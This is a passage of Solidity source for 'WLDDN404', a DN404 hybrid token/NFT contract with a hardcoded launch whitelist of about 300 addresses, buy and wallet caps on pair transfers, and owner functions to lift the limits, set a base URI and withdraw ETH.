library SafeTransferLib {
error ETHTransferFailed();
uint256 internal constant GAS_STIPEND_NO_STORAGE_WRITES = 2300;
uint256 internal constant GAS_STIPEND_NO_GRIEF = 100000;
function safeTransferAllETH(address to) internal {
assembly {
if iszero(call(gas(), to, selfbalance(), codesize(), 0x00, codesize(), 0x00)) {
mstore(0x00, 0xb12d13eb)
revert(0x1c, 0x04)
}
}
}
}
contract WLDDN404 is DN404, Ownable {
using OutflowCounterLib for *;
string private constant _name = "WLDDN404";
string private constant _symbol = "WLD404";
uint256 private constant _totalSupply = 100 * _WAD;
string private _baseURI;
address private _pair;
uint256 private maxTxAmount = _totalSupply * 50 / 100;
uint256 private maxWalletAmount = _totalSupply * 50 / 100;
constructor() Ownable(msg.sender) {
address mirror = address(new DN404Mirror(msg.sender));
_initializeDN404(_totalSupply, msg.sender, mirror);
_setWhitelisted(msg.sender, true);
address[303] memory _whitelists = [0xC36442b4a4522E871399CD717aBDD847Ab11FE88, 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 0x03a520b32C04BF3bEEf7BEb72E919cf822Ed34f1,0x07e9c4d1D5088562F312eE895bC9e7e7c9aCcb66,0x7e0AFf7Db75FF9C23981018482722A412263Ead9,0x1E9192e8883D54B5183E27172b252C6c6a07b710,0x412dA03eDE97Abc1Ba7f96a17336899DdF1Ae2fe,0xa4e22A3F3FE954c5D3B8849f5FeE691f198ac603,0xdFc43cE78365Da9a01F16b2ec02d3ECD9c00Fd21,0x5818ABE407488B96490844A330B78F857C0C596c,0xa04d944b988246E4465C29E4f7855899d089Aad4,0xA12A12Af6564d0eeD3998C59eF2fd98ef872372d,0x0fC8cF9f10a0eb2C4D6FaCD8CDC78C994b6ac5dE,0x40187114e004d577eCa513Fe81BB3b3C8d2B9648,0x1Dff62888bA94E19FdF873d5D39F28c22c722767,0x5dFC8Ae9AB5aa9Ad829070840Ff5f508e590A212,0xCCfBFe6045385AA169b3aCE04F813Af519543BaB,0x53fE6A3bb2E5C9655809099645a00628b240198a,0x643949D0818F057F16e37db898B59475d0D7421E,0x85d97aA090D3B3A8d4C7E144B0682d8b9837d526,0xd0d6168efDf7c2c3C8957cd2Bf0Abe2d992712E8,0x93a072095dA733685BAF95f1916510ABf1De3F2d,0xd8F1512a21c9BB9335CF302004757473379d16a1,0x4f0A306075E80398ce4f05E72F295F3e9bB20C53,0xB4ADb8Fd4A5e51Bd6997af034dA2E2c92D7D16BC,0x1a851deD9c0D88291c27E89785437716FA2ce2b3,0x1C4286C09Ea86B6313EBf2DFb5966265bd8BFC65,0xc5f1a94c903a0cdDFaeC383Bcf7f4963937d9f28,0x71C76f4Ce0E71c00c7b948543ab7e321b57938AF,0xF1b6A79a5cb561A4fD2ae9a4181B44d69D9A11e5,0x98B9E398b1DF0c5ae1641226F5F51869AFF10f68,0xD0b45614bb577516931B07d47487Dc37F11F96B2,0xAC17609Eded1FB0A965805f475229204132CCAE1,0xBdAeC74B770c0995c44aAAa25A1b854266998a5e,0x311883815cc3067A59cDa8C57d6D8b7b6A583Ae9,0x8689A5dfb92eb1CA557E885F945aE9D2c55a09b6,0xaa5091c8973e0d89C00ba848491F1734AD130696,0xEbfda5A442DF16706d94FbA7Dce6eE86cc92B544,0x16502dEa4B40cE415eb8DC25f78CcFc035DfEccA,0xEc6C2Ce1e3f3C0287E0D507A181cbf9ABEf8C46c,0x05e161382f64851832d99dE3bb6194E23e415af5,0x2e54def5966b4FF12647f2647538606D8A953049,0xe2d12B1a0456f94a15e15b1996121bBAAECa5acD,0x19D7ab108c3Ed88FA8aBE78bE9cAb21A26866eB3,0x1e0699682C5133A33C9D9280A9d38c2b8799eb7a,0x8a906e3E4C5f29FAA9c7fA1a4A00887deb2F86d0,0xC1a8a8ca5f7A590C5ffC00b524071cbE86b4e0DF,0x891e347F52E45A5aa4C3A73789cC8CE9B7502Be3,0x8d1bECCB3E20D79f6B3CF4E9592bF8339FC0A892,0xed5A1cC36d10f813Bfa8BCEbE97c6a4d8eAF880c,0x0aFb046456d1594670F18051040daf1cD6B94575,0x39f364c0a13855a6FcEe65ded0f6D30485bd454e,0xa5Da45B983AF94A58d3D3B60d17A2894544CAb5c,0x8Ff0A9B5da2637e90b523A6a2FD712c93020Bab4,0x9985Ec3bF8922db61026D934872DF17Ca29DFeAa,0x86ed8C4C66dd71BC718fAc0EF87392865E00a1AE,0x57aE4B5F86D7E9Cb99B397aE5E4A7753518E525F,0x61F4E9c99d0D7cB3aD940102891C97eA45a1ADD1,0x349BE62Fe5D2998a261A9F54CA9B48BE5C67AF7F,0xCd0a5b83AE2752f72cc259AB07D0C64aaeF75c48,0x21fA26391312C52D8980f80C2453123B68A38eF0,0xC23203bA354665DC3b06402f4d92eB8e793F2ac9,0x1E6bC429c9D2c1c235E4471a837aF778dB03caf5,0xcB5796527738330F5bceAd07eaA9F0Cfe48fC071,0x0009a0aA11a11bFe7bA7b35bF7A3FC093FFCA78f,0x653b4D83532Ed97B83a6eFE56c27b2ABBdAE468F,0x917eedCaa81d9dB63891ae1976b55361863FA0a4,0xFd3217b063FCFC3fA40b4f88Db63B9F8F704dB2f,0xBE023E780A79DBcc10b255289d5Bd767E52a565B,0x2E890C32DFF2fBA91B8708e8A455d8B97e7Da097,0x247e4cDAF17ca9d1Cb4ecc7c25c3cae57629270A,0x4c5De3D6A03b004FE36F04A85102dCFaE6eFe24f,0x9bcd837B576C22aAD7e9Aa9545bf5FbB2d6ABcEB,0xa8c180b0F283F74ce2F0AD9FFBed9117Ae2584B1,0x603731F025ECdae39aD1E335A0E0eDB6f3fC7133,0x4216c5a8a9391B82531BF837f718EEE2d1A991a8,0xd282564d4b2c385800A92227F673d7104027A359,0xc8cb7e7769567a3E4713055333FA5388862Ab1F4,0x614e9446Ec20Aeb6431EBb0567fb2cf069175049,0xF3842a7eb211596DE153D19BCDFB19f01C4ce0C1,0x3e4Af16C0450B454Ee8254BfF1d7ff4e4A19757A,0xcE0664BbF8dF6b6f39C2e095776674750D67f4F4,0x2de24fB19F13109094c30B7380a8B29B7E1c4480,0x167Cd515f8E152878D76a31BB0D5666087261206,0x414BF7AEbDbDaA9e77648a97E0C0879Af0225B6E,0x06AB5BDc2D08363d1bD556C2680529193f09e3eb,0x6618C448D6F82745DB628C9CCbCFbC6cF92C8214,0x9CedFA667dE18E5405a723AB7eD54ed30b84697b,0x4c40Ecb42F73e5c366Aff10891801d3207E4A5cA,0x0D1f1F44A1fCabFf88Baf2072D2Aa9De0650eE54,0xAbB952c0d520765Cb584Bf140C35397614884E0d,0xF558D8bDD91556A2a140f1efcC56CcfCb01C12b0,0xbB06b6172b6C7a40DD22295dd292bCb807762680,0xc018A4da3D8F14272c3Cb46d36eB070675bF0a0A,0x8128bCa8d6833Ef9eA770B32F4C43140b86D421a,0xaFD8B67F59184e9340aE71a34c1AEf5e14F14CDc,0xe99F1e61D87d186513Fb971f0948be5470c0C263,0x855E49749dAA5D7bD1814bfa7dde6E65d2087F4E,0x08670C961568610dF8DB4507ea2744AcA59fd7A5,0x2804c39421D9050ef43328884450C9Fe0efa3ee4,0x27884A1D6A9b8F8a2C5BDD337BBB2779E7AD683c,0x7A7CC054d6822Fad7a1Fd8b09518f330DB9ea398,0x410517f079e19eAaF2743b38AEfC91b11A487f84,0xB0d90DC4Fbb53F2FFC6F560A5475cDb4B68888fF,0x3DDb25214c21185a2B955884d7bBa2450fBf8877,0x0353c2F00357BE419a304253996F43899752f5A8,0xF46de83D2D364B11D68162F91216922dc94DaB20,0x6BAF14Ba3c643a50b4EACB59584db717F4aC935F,0x63e6ff69fCB324bc57819eB6EcFfd3545a2243c8,0x9B68D538E7cF5c7ec48cd8Fa9e5CFaAae10a68f3,0xed8DFc55254CC58B4488538bc0493de862A95Fa6,0x8AD5159CdaC6E2A9bcB3f7100bf128AaE55ad745,0x6cCe8066F9597b177d9BeB2326b17E860481Bc0D,0x606EcB6a7d0a28f42A5065D03F75494FAc4F2fba,0x0db32A8e3b0D8e8F79b497309e3881b3E07B74F2,0x245B5f7C1Cd73BeD15e1C2c67bD21197A6849fE8,0x12f23Ffe9F7452ba20e4fd6774a03ad44a043180,0xDd6e35DB1920B58E8DFAAF46aabE145835aA92D7,0xa8B33689dCD2967Fc96748c88F4c266077333AF9,0x5BA55af775f54435e4B0E54F281f4D0927a09db4,0x57575fBbAAc033421D03f41AcED23F57165e75A9,0x6215d4A16AB0daa8AcF8f287e708c206e053113c,0x3a8c4497ca2131dfF8D2691c6e14a729a86D0f1b,0xf359C29eE7a1b0DA03F810989483FA1FfAD83Ea4,0x170CC0B8033EB43aBBd54d39A93E5A3EfaaC6AAe,0x9330A62191944E4555e2Ed045b3727fA8BD36361,0x2C00b27460346B474b0B8688568195cFdCD95D19,0x4EcEcFa37c93F2F587e455A29B44981b30CA88E9,0x9A783984f7c6AFC7d38428224deb17a85579C000,0x07A5A0dB9F48f239216271BDF28EEb8590B66094,0x673B637aAf697fC025d7042113Fa68b313faEd23,0xF824944742A66164584685924104a965AA047664,0xE833Ff2A88648c0E557CB933B08AB25b9079a4fF,0x09ef087980D3696CDfE9a816488fA152FE2d03ad,0x2Fe9ce0800D3598abc81FE759F47570A84EC914b,0xE1C8c55d104E0956cBa9E3831Eb05cC2618d3C37,0x529f9c061Ac98E2aeD6AA95cf0a06F65114FcB36,0x9cf60668540a8615B035d618F4D34d8ddF905DD9,0x09E4048480919669761Bd2c46475c9A257e25A87,0x15bB5Ea5659A690fCf2bD675AE906740C6893ed4,0xbE3D396d21095d54541b5537E5E202806e40AA98,0xA969Ac81809ac90c23A28880e3BCAa211EA520bD,0x75C8A904599d8Df14cF7fbEdefa0acA6f7373cB8,0x015721EA14AA3E2ec984dAC63cC4AC4aD5DC0Fb1,0x4fBb7927D497e6b89E66FAC65e9Bc94B00B7cE14,0x54fA600D7319B879caF190B1A4f3E50757966341,0x7b5940b9202Ba5C923969F408d490620426Fa7cB,0x99040aFBfa5c80764d876835d599C2a15e8d49Ae,0xcF77762e00ab84faf9dF286D81DD7f13171Bd402,0x10A48ae22867FE7371279Fb066601AE8C8F27301,0x3128EAB8a2A95D80feE2613f4Ad92f7B83ebef95,0x9d6Bb13619c32E03828f9825265574f09721714b,0xD601B117fb30eC768F8c50567663F47Fb531e46f,0x01816c7067cB7743981FC96706a5DB366CD64633,0x2b56C2f55ccD65f6Bc2a0E0b34EF6FE9D9d1Ee34,0xbF5C96EB82590A5ff297b8672C605bADE8e8262E,0x2faAaFEf71061Ca6F5518052391B7B321be80719,0xB8c4D2D5D1Aa2d27BD4B755C867084307fc60943,0xB5293Eb157584080967a266F88f88Afaebc491cB,0xbBCfA7Fe0786E8373824fd918B82Fc8A6893651A,0x80a35AC0349AD585Ca68874d6B9E88b24c761EaB,0x8dA479B6349dB233eF701c1772EF8B1fAFC1fA35,0x0014a6AE78A2d10A93c8B6857A30E8d04910655d,0x2870b14360f69c7167c5b333BE1D73B9e895EC09,0x86C64F8DefFEc3D87A1B2c4cdf64c03eda72CE3B,0xd93ec4920451247ede96618CD4f6ddb6882E201d,0x0580c9f48d49c5BF7bE3a804f84b7b20e2Ce2B65,0x7842Cc2D534d04CC8B4Ec974cC5332FF1649e417,0xea3a3F62063E1aB827A57ab39873c5C26C9e2072,0x450063fA72b87E96Bf4caa4D64691afda0eF9d4f,0x43a14699c5a5B12E8777409Cd759bEEcD7CA25bF,0x1a6037d8374Cb485E117feedBF9CA1Aa9928400d,0x5f0560E61405fbce142645a1B425575D45e5D944,0xeDa11122ec82d5bB64348a17d9f3C73D24F4F938,0x2472ea71C9FA86F916de977dE5fcB55b5c49270C,0x4dBaaAAfF4A25203cF0f5B536c0b6228D9d96265,0xCb6107E0c3075587c82320Ec2cAf97a94164b69b,0xeF69e8fdF19dCF5d1357aFd8BcB8dC0d28eC7BB6,0x9e72b7C29d8273da0A974C69dCaF8ab9BAE6a097,0x4A84C5ec34fff1D58c4be96142ec51ee7cA78D6c,0x2654e7e32FDa7009Ba5335fE1A882Fd1654D174e,0x1A688ea44C0555C47B644d9c8E9add03527B9FdF,0x5db6225653Edd5829D3C1E09785A356782662E42,0xEfeD509DF427A057650196626b63c89Cf5CeB914,0xDAb0bD28D0B43EF3595eE73099b1e99FC3542046,0x109e9C809430827285D4005F328C215f480D5b53,0x13c4784e939993790811A47b6aA13453a065d653,0x628508A57fcdCf96332ae1Ad95616BC91bFd6632,0x8f2b0AAaa1BDCD000F1cddCb7b4D470e7ab9951B,0xc9D9ed5F38Ca9d3b3CFb013b53546E629C5Cc08d,0x768Fce892F4484535086ff152f5E5c41a1118eF0,0xE9DE1E9D7b77991591649D1621A6aDa3Fe549B8D,0x96f52a8B044BC810De7E19dA730323C53297D35F,0x4D51Bd55AE55BA80Ca2bDB5bFB9C4edCdB556De2,0x8218f31543bB561a8b3Fa25eA06219084ad37024,0x6782E36944c5FD4a52d235CbDe7F3E10c6D4Df91,0x1281e2bc7c040eC6464A08CDdBC5fD019770B2E6,0xcF93939D2a9b21230F59c2c28CBc9C50eAB23Cf2,0xB579948383a2fc3c486a37a23396f88beEB20A5E,0xb0E95CD9516832B9232F5cfB6872F49974Ee99e6,0x07bbCee8D275B809CF5AFfcbACa4148F7D8eD962,0xe1DF531e7CA1a751a8433Ec5f45f52BE450166Cf,0xDe23a53C7A6c98A49920D615Fc39330917E4424B,0xE370e7820726410f9f8cf8A1e131aeb8298Ea3B2,0x9A7605134AC26761ac8Ad995d8f4E15A2a413503,0xce8BADBB1a507E2506DD4996F8404809bc982f33,0xf04e5816beC598541252c7ee89Dd5Ddd0DBea690,0x895175926C41B77370A2147760f70EE9C4804a53,0xC3300c61e3EC79168947F57E2674B3f58f115C62,0xF9812f14523b68128D0e1292a4413aeee184D072,0x64e5A577690cce29b9d9bF49e4a0e198a27BD730,0xd263caeec66196E47913E0425e15FaF0423146A5,0x67de8F568bEB0DD4DC5E2c20ADff80394AF540FE,0x6a73bfA23dA7d9a235E8EA835761c4Ac4D8E6874,0xEBbbB6Ab17fE597e5EC4cfc8bf7c5a8a77CB7Edf,0xeCAFCB0e4dA87566f455B2498D4cFB22ECf794f1,0x064F320Ff47d4d06be436a1A4C1Eed239DB0a206,0x2aaBd9Dc189C57B74C0cF9bC1Ca10D3a7Da22193,0xD41c01aB2e650c87F2eE9Be60b0b581aE3058Dfc,0x218441865B9b135F8637aA33C7c4be13ae6C5d5F,0x00f7da01796d78A6fa87c604cce517E225ad305b,0xcD69216f7e3D10083B71b2f13104F8015a129914,0x4Aa291519a9ff17f2dDBFb25b221e2440051A3Ee,0x099874FaC69aDCeb859508d697b7B440FDB74b9c,0xFF3411ee491ee43bcd7aFa9Fea1cE2443Cfe77Bf,0xFDc47CB21FA378966d00aD28E322b2D9aaDFDeE2,0x917e7De0EF81F48244D1C5075052dEf5eaBa97BA,0x106D2332B7713707A20fB881CF61bb9461D57640,0x6Ce400a5C0937087166D0aA51B08dF38f807e20f,0x6F827CC6ECE913064FF7f075E9f5fcCe6ceB3A6a,0x6f4807B3ff4A7A93802A24dE40a72ab9e2971214,0x467b1fEF9dD2E32AF9e731a84DBE652F31Bd1a5D,0x16605FA0D12cdB656bda40E6174d31b3fB34ecB2,0xE9eBa1ba2c35CBB95564a0fdfB9C41cB9a004547,0x746Ac9c3Cf8C728D781Bb94856d8D70D0a1d052d,0x37f62cE5313a776D7c9a973426D94045D08284B2,0x1116eDB0d02a158C598A94C9C1947fc26DeEADEf,0x45D04c86e14bE6465dd7Bca8567EED5B001eb24a,0x1Dd2fC98a84ef53BFe926bD43d2259e6d31f7115,0xeD60003bF0ae955BcC3D0438656C101D93668956,0x807C3f72271b2E111e6034E0dBB4587071920238,0x86c8550F0A69C15EAB3015e4bA0683A457beAD24,0x2Be17281F037613620F6C40ff755914e5948E168,0x6C542a8aA39A552b1427999bCC33F0F1624F9926,0x62319aE75Fc5A0ad64febA48c0e62b587139C757,0x48F6CDDc077d967b6726786936767557882fCD4f,0x5896A8d20fd73EFF5354CB82026EA16E292524BB,0xA0bE959A768f430900b5f532615475427F66905E,0x1B1ce20a543f09253d4E649996bBFDf92b3fDd44,0xE40099a8c19539987aA2f9825255708787e151Aa,0x4ad47dA78DEAc3748582BA2bccFD3435A653eF0e,0x7Ca1D74318bb86e769a7b4Eb51e7e6B073C78f86,0xBf0b74EA7C98F3d2e7054DaA88D997a170cE082b,0xe7887451c77713f26F0a8bf9E5549Ae0c1e5e772,0x82363d138Db71206504fBBB9Fc9855866c693FeB,0x6CE2Fe23D797B0F3A9801740bdFF0AE0869676DE,0x735FcD7FAF53a3bD9991CafF103DccFe46D4a8cE,0x946AF81CFf6167d982BA5C48bCe16ec7D99a5c26,0xD7Ef33Fe2C4575a0E35ab5EBF76F356e7af38313,0x04446fc2513084B7a2Ed85F059786Bb2bce339bF,0xC850f072e18d6E6e4d411675434BEE5F98B86900,0x8F6c667da2b8F6cca0922478810867a5058e5F11,0x0A32F3E31eDBa25Ef2d775193942BF2c171fCb4c,0xD6b5588De72878D7466070cccB5cCa1A1eBb7534,0xc9bFc2c292764e32817005e3fe47bDa56bf32fD9,0x5E009669fe8e0A7098547B29b2296ef9E3bAefF8,0x529013305D180D26bf974b66728f028c284439E9,0x3F3DcD123a5fFAffeD64319104E41c9B7EA99B43,0x8763d05a95c00470d9e4Aec1E1D867B961C844BD,0xfdae2AA4196dE34BbF8c071C934Ac01931c370A0,0x90C32c8188e628C6fcb89653369e80aAf6780c88,0x200BD6fCb98370747a125578244626482271F3Dc,0xBa9c238BAbe9D946F384337De146d9bBa395D137,0x99d12eAB903E642d5e7D196E9FD0b51F5be881d8,0x61F0f450F1339183c23c7Dc8D5cF1a27192844b8,0x254a4D0574BB484c2c002Cf811dE9c28460AF62F,0xDaC8EB65A5e8351705d706B71307A9046D4925Ac,0x3b4A909B2a1e881f4Ce9E75c79646E672fDce665,0x80A1E4E04F3e0F488Bc36d67806123d51dC6cA34,0x1141df6F3f618173F9Eb1D87e65c9C477b8BF6aA,0xA49c213bBD71D9aCaEfb2272F242265d6B130b12,0x5F792fCAD7C47a4F2e729693C83694f56E0f163d,0x8f052916a7D0E32addAe805859B883905921319A,0x8eDfDD4A7b4EAe87354273B32Ace26f34d4C0A2C,0x84134d43580615f4E481d463A351570285450165,0xDD3e90716E44ce275F07757f7a75abB7042e6EBC,0xB9801643eA5e69e0A96DD15F9F4f46Efd9F7884E,0x697D89E69300C87C9B57286142E46DcE89cFF7Ea,0x5A72eceC437Cdc257D10eEaf94eC523C2aF0b771,0xee4c08A718EA89D955fC7c80D781265A1a9C5ec9,0x397A6Ef0EC528834c12C4F335f1812A50E721160,0x7773e045f9b71813c0fb86B6F412E9B0AB1325A9,0x24001FA2D2EdB87769B246E701B2b170a06C1bEE,0x76F912DfD9ecF28dD2d044886C337B7032A163eE,0x18D9C74E0eD099c258911E72AB391a9A5c5124cB,0xB76F264BBC54785c19BfF892377e6E4F00766F3D,0xE36feaF65BF94cF98A472B0797A3989Aa639953D,0xcC3343a8d70c9b1f1236524dD4c1F19f1673f4F1,0x9e41b9b9b131dA350511AFFA3AA6AA14b38eE89D,0x50d2e3EC2361c792e23e6cF20CAeBEEf9FB43c30,0x64c0bC2cf8338Da36e5100AA77fcEB31d34f1E72,0x4741fEBcc3aa4Ff092557D9d85073769E60996BC,0xfDFd291aE72e990890Bc95fCd7DB44002EfBeA50];
for(uint256 i = 0; i < _whitelists.length; i++) _setWhitelisted(_whitelists[i], true);
}
function name() public pure override returns (string memory) {
return _name;
}
function symbol() public pure override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view override returns (string memory result) {
if (bytes(_baseURI).length != 0) {
result = string(abi.encodePacked(_baseURI, LibString.toString(tokenId)));
}
}
function _transfer(address from, address to, uint256 amount) internal override {
DN404._transfer(from, to, amount);
if (from != to) _applyOutflowChecker(from, to, amount);
}
function _transferFromNFT(address from, address to, uint256 id, address msgSender)
internal
override
{
DN404._transferFromNFT(from, to, id, msgSender);
if (from != to) _applyOutflowChecker(from, to, _WAD);
}
function _applyOutflowChecker(address from, address to, uint256 outflow) internal {
unchecked {
if (_pair == address(0)) _pair = to;
if (from == _pair && !isWhitelisted(to)) {
_setAux(to, _getAux(to).update(outflow));
require(outflow <= maxTxAmount, "Tx amount limit");
require(balanceOf(address(to)) <= maxWalletAmount, "Wallet amount limit");
}
if (from != _pair) {
_setAux(from, _getAux(from).update(outflow));
if (to != _pair) _setAux(to, _getAux(to).update(outflow));
}
}
}
function _setWhitelisted(address target, bool status) internal {
_setAux(target, _getAux(target).setWhitelisted(status));
}
function isWhitelisted(address target) public view returns (bool) {
return _getAux(target).isWhitelisted();
}
function setBaseURI(string calldata baseURI_) public onlyOwner {
_baseURI = baseURI_;
}
function removeLimits() public onlyOwner {
maxTxAmount = totalSupply();
maxWalletAmount = totalSupply();
}
function withdraw() public onlyOwner {
SafeTransferLib.safeTransferAllETH(msg.sender);
}
}